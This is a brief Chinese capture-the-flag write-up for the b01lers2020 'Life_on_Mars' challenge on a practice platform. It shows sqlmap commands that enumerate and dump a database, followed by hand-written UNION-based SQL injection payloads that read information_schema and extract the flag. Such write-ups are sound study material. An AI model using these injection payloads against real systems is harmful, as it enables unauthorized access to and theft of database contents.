b01lers2020-Life_on_Mars
摘要
sqlmap使用练习
为了快速探测漏洞,自动化扫描很重要,专门来练习sqlmap
sqlmap

1 | python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia |

联合查询……
获得库名:
1 | python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia --dbs |

获得表名:
1 | python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia --tables -D alien_code |
.
获得字段名:
1 | python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia --columns -D alien_code -T code |

获取字段内容:
1 | python2 sqlmap.py -u http://0c19c7b8-e7ab-42d6-8d0a-b7c974af36e7.node4.buuoj.cn:81/query?search=chryse_planitia --dump -D alien_code -T code -C code |

获得flag!
手工
获取库名:
1 | ?search=chryse_planitia/**/union(select(1),(group_concat(schema_name))from(information_schema.schemata))--+ |
获取表名:
1 | ?search=chryse_planitia/**/union(select(1),(select(group_concat(table_name))from(information_schema.tables)where(table_schema='alien_code'))from(information_schema.schemata))--+ |
获取字段名:
1 | ?search=chryse_planitia/**/union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_name='code'))from(information_schema.schemata))--+ |
flag:
1 | ?search=chryse_planitia/**/union(select(1),(select(code)from(alien_code.code)))--+ |
wuhu~
参考文章:
sqlmap常用命令及用法
b01lers2020-Life_on_Mars